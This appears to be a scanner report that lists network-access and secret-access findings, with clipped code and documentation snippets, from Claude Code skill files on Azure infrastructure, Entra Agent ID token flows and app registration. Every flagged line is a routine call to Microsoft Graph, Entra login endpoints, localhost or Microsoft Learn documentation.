| Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme - Network accessline 21
| Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr - Network accessline 22
| Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht - Network accessline 23
| Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co - Network accessline 14
|----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi - Network accessline 15
| AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules]( - Network accessline 16
| Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | - Network accessline 17
| Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam - Network accessline 18
| Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules]( - Network accessline 19
| VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu - Network accessline 14
|----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie - Network accessline 15
| Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules] - Network accessline 16
| Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https - Network accessline 17
| Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt - Network accessline 18
| Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview) - Network accessline 19
| Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/data-relational.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql - Network accessline 13
|----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea - Network accessline 14
| SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami - Network accessline 15
| SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove - Network accessline 16
| MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) | - Network accessline 17
| PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/messaging.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview]( - Network accessline 13
| Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https - Network accessline 14
| Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h - Network accessline 15
| Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/monitoring.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o - Network accessline 12
| Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove - Network accessline 13
| Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md
- Network accessline 14
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft. - Network accessline 15
|----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht - Network accessline 16
| Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht - Network accessline 17
| Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https - Network accessline 18
| DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic - Network accessline 19
| VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn - Network accessline 20
| Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming - Network accessline 21
| Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-core.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof - Network accessline 16
|----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview]( - Network accessline 17
| Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) - Network accessline 18
| Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [ - Network accessline 19
| NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) - Network accessline 20
| Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | - Network accessline 21
| Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network- - Network accessline 22
| Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr - Network accessline 23
| NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft - Network accessline 13
|----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt - Network accessline 14
| API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | - Network accessline 15
| Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview - Network accessline 16
| Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https - Network accessline 17
| Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/security.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l - Network accessline 12
| Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/ - Network accessline 13
| Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident
harness/claude-code/skills/azure-entra-agent-id/SKILL.md
- Network accessline 25
|----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Network accessline 26
| Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator | - Network accessline 27
| API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 124
[Credential-related source omitted] - Network accessline 126
GRAPH = "https://graph.microsoft.com/v1.0" - Network accessline 150
"displayName": "My Agent Blueprint", "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 151
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 152
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 153
], } resp = requests.post( - Network accessline 154
} resp = requests.post( f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint", - Network accessline 155
resp = requests.post( - Network accessline 172
sp_body = {"appId": app_id} resp = requests.post( - Network accessline 173
resp = requests.post( - Network accessline 189
"agentIdentityBlueprintId": app_id, "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 190
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 191
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 192
], } resp = requests.post( - Network accessline 193
} resp = requests.post( f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity", - Network accessline 194
resp = requests.post( - Network accessline 232
graph_sp = requests.get( - Network accessline 239
requests.post( - Network accessline 257
requests.post( - Network accessline 294
Base URL: `https://graph.microsoft.com/v1.0`. - Network accessline 359
| Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 360
|----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai- - Network accessline 361
| Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 362
| AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup | - Network accessline 363
| Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 364
| Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |
harness/claude-code/skills/azure-entra-agent-id/references/known-limitations.md
- Network accessline 3
Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues) - Network accessline 51
27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For - Network accessline 52
28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit - Network accessline 56
Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).
harness/claude-code/skills/azure-entra-agent-id/references/oauth2-token-flow.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 21
requests.patch( - Network accessline 33
fic_body = { "name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 34
"name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", "subject": mi_principal_id, # The MI's object ID (principalId), NOT client ID - Network accessline 35
"issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 37
"audiences": ["api://AzureADTokenExchange"], } requests.post( - Network accessline 38
} requests.post( f"{GRAPH}/applications/{blueprint_obj_id}" - Network accessline 39
requests.post( - Network accessline 62
jwks_client = PyJWKClient( f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 63
f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 70
algorithms=["RS256"], audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 71
audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", ) - Network accessline 72
issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 79
- **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 80
- **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d - Network accessline 81
- **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 82
- **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash). - Network accessline 100
$credential = Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 101
-Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 111
resp = requests.post(
harness/claude-code/skills/azure-entra-agent-id/references/obo-blueprint-setup.md
- Network accessline 39
}, } requests.patch( - Network accessline 40
} requests.patch( f"{GRAPH}/applications/{blueprint_obj_id}", - Network accessline 41
requests.patch( - Network accessline 63
requests.post( - Network accessline 82
tenant_id=tenant_id, client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", - Network accessline 83
client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", ) - Network accessline 84
redirect_uri="http://localhost:8400", - Network accessline 89
> If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.
harness/claude-code/skills/azure-entra-agent-id/references/runtime-token-exchange.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 8
Step 1: Blueprint credentials + fmi_path → Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 9
Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 19
TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 34
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 35
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 36
req = urllib.request.Request( - Network accessline 38
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 39
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read())["access_token"] - Network accessline 40
with urllib.request.urlopen(req, timeout=10) as resp: - Access to secretsline 41
[Credential-related source omitted] - Network accessline 47
|-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Network accessline 48
| `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID | - Network accessline 49
| `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Access to secretsline 58
[Credential-related source omitted] - Network accessline 86
"client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", "client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", - Network accessline 87
"client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", } - Network accessline 88
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 89
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 90
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 91
req = urllib.request.Request( - Network accessline 93
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 94
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 95
with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 115
"assertion": user_token, "requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", - Network accessline 116
"requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", } - Network accessline 117
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 118
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 119
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 120
req = urllib.request.Request( - Network accessline 122
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 123
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 124
with urllib.request.urlopen(req, timeout=10) as resp:
harness/claude-code/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md
- Network accessline 13
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 16
def get_agent_token(downstream_api: str = "Graph") -> str: url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 17
url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) resp.raise_for_status() - Network accessline 18
resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 33
url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}" resp = requests.get( url, - Network accessline 34
resp = requests.get( - Network accessline 46
const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000"; - Network accessline 56
const res = await fetch(url.toString()); - Network accessline 71
[Credential-related source omitted] - Network accessline 72
resp = requests.get( - Network accessline 84
[Credential-related source omitted] - Network accessline 85
resp = requests.get( - Network accessline 105
- "5001:5000" environment: - AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 106
environment: - AzureAd__Instance=https://login.microsoftonline.com/ - AzureAd__TenantId=${TENANT_ID} - Network accessline 107
- AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 110
- AzureAd__ClientCredentials__0__SourceType=ClientSecret - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET} - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
- DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 113
- DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default - Network accessline 115
- ASPNETCORE_URLS=http://+:5000 - Network accessline 120
- "3000:3000" environment: - SIDECAR_URL=http://sidecar:5000 - Network accessline 121
environment: - SIDECAR_URL=http://sidecar:5000 - AGENT_CLIENT_ID=${AGENT_CLIENT_ID} - Network accessline 122
- SIDECAR_URL=http://sidecar:5000 - Network accessline 147
env: - name: SIDECAR_URL value: "http://localhost:5000" - Network accessline 148
- name: SIDECAR_URL value: "http://localhost:5000" - name: sidecar - Network accessline 149
value: "http://localhost:5000" - Network accessline 166
value: "SignedAssertionFilePath" - name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" - Network accessline 167
- name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" resources: - Network accessline 168
value: "http://127.0.0.1:5000" resources: requests: { memory: "128Mi", cpu: "100m" } - Network accessline 184
1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`
harness/claude-code/skills/azure-entra-agent-id/references/sdk-sidecar.md
- Network accessline 5
Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags. - Network accessline 48
env: - name: AzureAd__Instance value: "https://login.microsoftonline.com/" - Network accessline 49
- name: AzureAd__Instance value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId - Network accessline 50
value: "https://login.microsoftonline.com/" - Network accessline 82
- name: DownstreamApis__Graph__BaseUrl value: "https://graph.microsoft.com/v1.0/" - Network accessline 83
value: "https://graph.microsoft.com/v1.0/" - Network accessline 84
- name: DownstreamApis__Graph__Scopes__0 value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken - Network accessline 85
value: "https://graph.microsoft.com/.default" - Network accessline 117
| Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 118
|----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 119
| SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 120
| Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 121
| Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration | - Network accessline 122
| Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints | - Network accessline 123
| Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities | - Network accessline 124
| Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security | - Network accessline 125
| OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |
harness/claude-code/skills/azure-entra-app-registration/SKILL.md
- Network accessline 73
- **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 74
- **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow - Network accessline 75
- **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 205
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/) - Network accessline 206
- [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols) - Network accessline 207
- [MSAL Documentation](https://learn.microsoft.com/entra/msal/) - Network accessline 208
- [Microsoft Graph API](https://learn.microsoft.com/graph/)
harness/claude-code/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep
- Network accessline 18
@description('Redirect URIs for web application') param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' - Network accessline 19
param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' 'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 20
